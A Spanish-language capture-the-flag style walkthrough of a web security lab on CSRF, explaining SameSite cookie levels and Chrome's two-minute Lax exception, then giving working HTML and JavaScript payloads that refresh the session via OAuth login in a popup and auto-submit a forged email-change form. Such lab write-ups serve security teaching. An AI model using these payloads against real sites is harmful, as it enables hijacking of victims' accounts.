CSRF Lab 10
Skills
- SameSite Lax bypass via cookie refresh
Certificaciones
- eWPT
- eWPTXv2
- OSWE
- BSCP
Descripción
Este laboratorio
tiene una vulnerabilidad
de CSRF
en la función de cambio
de correo electrónico
. Para resolver
el laboratorio
, debemos realizar un ataque CSRF
que modifique la dirección
de correo electrónico
de la víctima
. El laboratorio
admite inicio de sesión
basado en OAuth
. Podemos iniciar sesión
con nuestra cuenta de red social
utilizando las credenciales wiener:peter
. Debemos utilizar el servidor de explotación
proporcionado para alojar nuestro ataque
Resolución
Al acceder
a la web
vemos esto
Al pulsar sobre My account
nos hace un redirect
El redirect
nos lleva a este panel de login
en el que nos logueamos
usando las credenciales wiener:peter
Después de iniciar sesión
, debemos garantizar
accesos a varios de nuestros datos
Una vez hecho eso, nos sale este mensaje
confirmando que el login
ha sido exitoso
Si accedemos a My account
nuevamente, vemos que podemos cambiar
el correo electrónico
Para resolver
el laboratorio
, debemos explotar
un CSRF
, el cual es una vulnerabilidad
de seguridad web
que permite a un atacante
inducir a los usuarios
a realizar acciones
que no tienen intención
de realizar. Permite a un atacante
eludir parcialmente la política
de same origin
, que está diseñada para evitar que diferentes sitios web
interfieran entre sí. Para que sea posible un ataque CSRF
, deben cumplirse tres condiciones clave
Una acción relevante
- Hay unaacción
dentro de laaplicación
que elatacante
tienemotivos
parainducir
. Puede ser unaacción privilegiada
(comomodificar
lospermisos
de otrosusuarios
) o cualquieracción
sobredatos específicos
delusuario
(comocambiar
lacontraseña
delusuario
)Manejo de sesiones basado en cookies
- Pararealizar
laacción
, se debenemitir
una o mássolicitudes HTTP
, y laaplicación
se basa únicamente en lascookies de sesión
paraidentificar
alusuario
que realizó lassolicitudes
. No existe ningún otromecanismo
pararealizar
elseguimiento
de lassesiones
ovalidar
lassolicitudes
de losusuarios
Sin parámetros de solicitud impredecibles
- Lassolicitudes
que realizan laacción
no contienen ningúnparámetro
cuyosvalores
elatacante
no puedadeterminar
oadivinar
. Por ejemplo, alhacer
que unusuario
cambie sucontraseña
, lafunción
no esvulnerable
si unatacante
necesitasaber
elvalor
de lacontraseña existente
Las defensas
más comunes
contra ataques CSRF
con las que nos podemos encontrar son las siguientes
Token CSRF
- Es untoken
único, secreto e impredecible generado por elservidor
ycompartido
con elcliente
. Para realizar unaacción sensible
, comoenviar
unformulario
, elcliente
debe incluir estetoken
. Esto dificulta que unatacante
generesolicitudes
válidas en nombre de lavíctima
Cookies SameSite
-SameSite
es unmecanismo
deseguridad
delnavegador
queregula cuándo se incluyen las cookies en las solicitudes de otros sitios web
. Dado que lassolicitudes
para realizaracciones sensibles
suelen requerir unacookie válida
, es decir, unacookie
que haya sido asignada tras unaautenticación válida
, lasrestricciones
que aplicaSameSite
pueden impedir que unatacante
desencadene estasacciones
. Desde 2021,Chrome aplica por defecto las restricciones Lax SameSite
, dado que este es elestándar
, se espera que otrosnavegadores
también loadopten
Validación basada en Referer
- Algunasaplicaciones
hacen uso de lacabecera HTTP Referer
para intentardefenderse
deataques CSRF
, normalmenteverificando
que lapetición
seoriginó
en el propiodominio
de laweb
. Esto suele ser menos efectivo que lavalidación
detokens CSRF
La diferencia entre un sitio web
y un origen
es su alcance
. un sitio web
abarca varios nombres de dominio
, mientras que un origen
solo incluye uno
. Aunque están estrechamente relacionados, es importante no utilizar los términos indistintamente
, ya que mezclarlos puede tener graves consecuencias para la seguridad
. Se considera que dos URL
tienen el mismo origen
si comparten exactamente el mismo esquema
, nombre de dominio
y puerto
Como podemos ver en este ejemplo
, el término sitio web
es mucho menos específico
, ya que solo tiene en cuenta el esquema
y la última parte
del nombre de dominio
. Fundamentalmente, esto significa que una petición
de origen cruzado (cross-origin)
puede seguir siendo del mismo sitio web
, pero no al revés
. Esta es una distinción importante, ya que significa que cualquier vulnerabilidad
que permita
la ejecución de código JavaScript
puede ser utilizada para eludir
las defensas del sitio web
en otros dominios
que pertenecen al mismo sitio web
Antes de que se introdujera el mecanismo SameSite
, los navegadores enviaban cookies
en cada solicitud al dominio
que las emitía, incluso si la solicitud era originada por un sitio web
de un tercero
que no estáno relacionado
con el sitio web
. SameSite
funciona permitiendo que los navegadores
y los propietarios de sitios web
limiten qué solicitudes entre sitios
, si es que hay alguna, deben incluir ciertas cookies
. Esto puede ayudar a reducir la exposición de los usuarios
a los ataques CSRF
, que inducen al navegador
de la víctima a emitir
una solicitud
que desencadena
una acción perjudicial
en el sitio web vulnerable
. Dado que estas solicitudes generalmente requieren una cookie
asociada con la sesión autenticada
de la víctima, el ataque
fallará si el navegador
no la incluye. Todos los navegadores más importantes actualmente soportan los siguientes niveles de restricción
de SameSite
Strict
- Si unacookie
se establece con el atributoSameSite=Strict
, losnavegadores no la enviarán en ninguna solicitud entre sitios web
. Esto significa quesi el sitio objetivo de la solicitud no coincide con el sitio web que se muestra actualmente en la URL del navegador no se incluirá la cookie
. Esto se recomienda cuando se configurancookies
que permiten al usuariomodificar datos
orealizar acciones sensibles
, comoacceder a páginas
que solo estándisponibles
parausuarios autenticados
Lax
- Las restriccionesSameSite=Lax
significan que losnavegadores
enviarán lacookie
en solicitudes entresitios web
, pero solo sila solicitud utiliza el método GET
y sila solicitud es el resultado de una navegación de nivel superior, es decir, que requiere interacción por parte del usuario
, comohacer click en un enlace
. Esto significa quela cookie no se incluirá en solicitudes POST entre sitios web
, por ejemplo. Dado que las solicitudesPOST
generalmente se utilizan pararealizar acciones
quemodifican datos
o elestado
(al menos según las mejores prácticas), son mucho más propensas a ser el objetivo deataques CSRF
. De igual manera,la cookie no se incluirá en solicitudes en segundo plano
, como aquellas iniciadas porscripts
,iframes
oreferencias a imágenes
y otrosrecursos
None
- Si unacookie
seestablece
con el atributoSameSite=None
, estodesactiva las restricciones SameSite por completo independientemente del navegador
. Como resultado,los navegadores enviarán esta cookie en todas las solicitudes al sitio web que la emitió
,incluso aquellas que fueron originadas por sitios web de terceros no relacionados con el sitio web principal
. Con laexcepción
deChrome
, este es elcomportamiento predeterminado
utilizado por losnavegadores
más famosos si no se proporciona un atributoSameSite
al configurar lacookie
. Existen razones legítimas para deshabilitarSameSite
, como cuando lacookie
está destinada a ser utilizada desde un contexto deterceros
y no otorga alusuario
acceso a datos o funcionalidadessensibles
, un ejemplo, serían lastracking cookies
. Si nos encontramos con unacookie
configurada conSameSite=None
osin restricciones explícitas
,vale la pena investigar si tiene algún propósito
. Cuando el comportamientoLax
fue adoptado porChrome
rompió algunas funcionalidades en las webs. Como solución rápida,algunos sitios web optaron por desactivar las restricciones SameSite en todas las cookies, incluidas las potencialmente sensibles
. Al configurar unacookie
conSameSite=None
, elsitio web
también debeincluir
el atributoSecure
, lo que garantiza que lacookie
solo se enviará en mensajesencriptados
a través deHTTPS
. De lo contrario, losnavegadores
rechazarán lacookie
y `no se seteará
Si nos abrimos
las herramientas de desarrollador
de Chrome
vemos que la única medida defensiva
que tenemos es el atributo SameSite
con el valor Lax
, que es el valor por defecto
Las cookies
con restricciones SameSite=Lax
normalmente no se envían en ninguna solicitud entre sitios web por POST
, pero existen algunas excepciones
. Si un sitio web no incluye un atributo SameSite
al configurar una cookie
, Chrome
aplica restricciones Lax
automáticamente de forma predeterminada
Sin embargo, para evitar infringir los mecanismos de inicio de sesión único (SSO)
, no aplica estas restricciones durante los primeros 120 segundos
en las solicitudes de nivel superior POST
. Como resultado, existe un intervalo de dos minutos
en el que los usuarios
pueden ser vulnerables a ataques cross-site
. Este intervalo de dos minutos
no se aplica a las cookies
que fueron configuradas explícitamente
con el atributo SameSite=Lax
Resulta poco práctico
intentar programar
el ataque
para que ocurra dentro de este breve periodo de tiempo
. Sin embargo, si encontramos un gadget
en el sitio
que nos permita forzar
a la víctima
a recibir una nueva cookie de sesión
, podemos actualizarla preventivamente
antes de continuar con el ataque principal
. Por ejemplo, completar
un flujo
de inicio de sesión
basado en OAuth
puede generar una nueva cookie de sesión
en cada intento
, ya que el servicio OAuth
no necesariamente sabe si el usuario
sigue conectado
al sitio web objetivo
Para activar
la actualización de cookies
sin que la víctima
tenga que volver a iniciar sesión manualmente
, es necesario utilizar una navegación de nivel superior
, lo que garantiza que se incluyan las cookies
asociadas a su sesión OAuth
actual. Esto representa un desafío adicional
, ya que luego debemos redirigir
al usuario
a su sitio web
para poder lanzar el ataque CSRF
Como alternativa
, podemos activar la actualización de cookies
desde una nueva pestaña
, de modo que el navegador
no abandone la página antes de poder ejecutar el ataque final
. Un pequeño inconveniente
con este enfoque es que los navegadores
bloquean las ventanas emergentes
a menos que se abran manualmente
. Por ejemplo, la siguiente ventana emergente
estará bloqueada
por defecto por el navegador
1
window.open('https://vulnerable-website.com/login/sso');
De esta manera, el método window.open() solo se invoca cuando el usuario hace clic en algún lugar de la página
. Esto permite que el navegador no bloquee la ventana emergente
, ya que se ejecuta en respuesta a una acción del usuario
1
window.onclick = () => { window.open('https://vulnerable-website.com/login/sso'); }
Si nos dirigimos a la extensión
de Burp Suite Logger++
y revisamos la petición que realizamos anteriormente para el cambio de email
, nos damos cuenta de que no se está utilizando ningún token CSRF
. Por lo tanto, la única medida de protección
que se está aplicando es el atributo
de la cookie SameSite Lax
Si intentamos modificar
la petición
y hacerla por GET
en vez de por POST
, no funciona
Debido a que no podemos realizar la petición
por GET
, la única opción que nos queda es la navegación
de nivel superior
, es decir, necesitamos que haya interacción
por parte del usuario víctima
. Lo primero que vamos a hacer es inspeccionar
cómo se envía
el formulario
de cambio
de email
Creamos un payload
y lo almacenamos
en el Exploit server
1
2
3
4
5
6
7
8
9
10
<html>
<body>
<form action="https://0a3f009203784cc58192c61400090045.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="testing@gmail.com">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Si han pasado ya dos minutos
desde que el usuario víctima
inició sesión, el exploit
no funcionará al primer intento. Lo que pasará es que nos redirigirá
a URL login
para que se nos renueve
la cookie
, y posteriormente, si el usuario víctima
hace click
nuevamente en el exploit
, sí funcionará, debido a que la cookie
ha sido renovada
Para forzar que se refresque
la cookie
, podemos hacerlo abriendo una nueva pestaña
. Para ello, creamos un nuevo payload
y lo almacenamos
en el Exploit server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<body>
<form action="https://0a3f009203784cc58192c61400090045.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="testing@gmail.com">
</form>
<script>
window.open('https://0a3f009203784cc58192c61400090045.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
function changeEmail(){
document.forms[0].submit();
}
</script>
</body>
</html>
Si pulsamos
sobre View exploit
, el resultado es parecido al anterior: el navegador
nos bloquea
que la nueva pestaña
se abra y nos redirige
al login
para refrescar
la `cookie
El motivo por el cual nos está bloqueando el payload
anterior es porque no estamos interactuando con la web
. He modificado
el script
para que tengamos que hacer click
en la web
y solo abra la ventana emergente
una vez lo hayamos hecho
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<body>
<form method="POST" action="https://0a8e00f7032e7958802e217e00110082.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="pwned@gmail.com">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://0a8e00f7032e7958802e217e00110082.web-security-academy.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
</script>
</body>
</html>
Al pulsar sobre View exploit
nos aparecerá esta página
Una vez hagamos click
en alguna parte de la web
, se nos abrirá una pestaña nueva
que será la encargada de refrescar
la cookie
A los 5 segundos
de que ocurra el paso anterior, la primera página que se nos abrió será en donde veamos que se nos ha cambiado
el correo electrónico
. Para completar el laboratorio
, debemos dirigirnos al Exploit server
y pulsar sobre Deliver exploit to victim
. Es importante cambiar
nuestro email
o el email
del payload
antes de enviarlo, porque no puede haber dos usuarios con el mismo email